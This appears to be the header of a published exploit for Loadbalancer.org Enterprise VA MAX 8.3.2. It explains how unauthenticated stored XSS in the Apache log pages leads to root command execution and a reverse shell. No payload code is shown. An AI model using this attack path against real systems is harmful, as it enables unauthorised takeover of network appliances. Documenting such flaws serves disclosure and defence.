# Exploit Title: Loadbalancer.org Enterprise VA MAX 8.3.2 - Remote Code Execution
# Date: 2018-07-24
# Exploit Authors: Jakub Palaczynski
# Vendor Homepage: https://www.loadbalancer.org/
# Version: <= 8.3.2
# CVE: N/A

# Exploit Description: Loadbalancer.org Enterprise VA MAX - Remote Code Execution via Unauthenticated Stored XSS
# Info: It is advised to use HTTPS port instead of HTTP for sending payloads as storing JavaScript in "Apache Error Log" does not work for HTTP.
# Info: JavaScript can be easily changed to for example modify SSH configuration or add/modify web users

# Basic Information:
# Two instances of Stored XSS were found - exploit uses both:
# 1. It is possible to inject custom JavaScript code during authentication to "/lbadmin/".
# Application takes input from Basic Auth (username) and stores it without encoding/sanitization/filtering in "Apache Error Log".
# This instance only forks for HTTPS.
# 2. It is possible to inject custom JavaScript code by accessing URL like /?<XSS>.
# Such JavaScript is stored in "Apache User Log".

# This way attacker can store JavaScript code that can for example execute system command as root. This is actually what this exploit does - spawns reverse shell.
# When application user browses "Apache Error Log" or "Apache User Log" custom JavaScript code gets automatically executed.
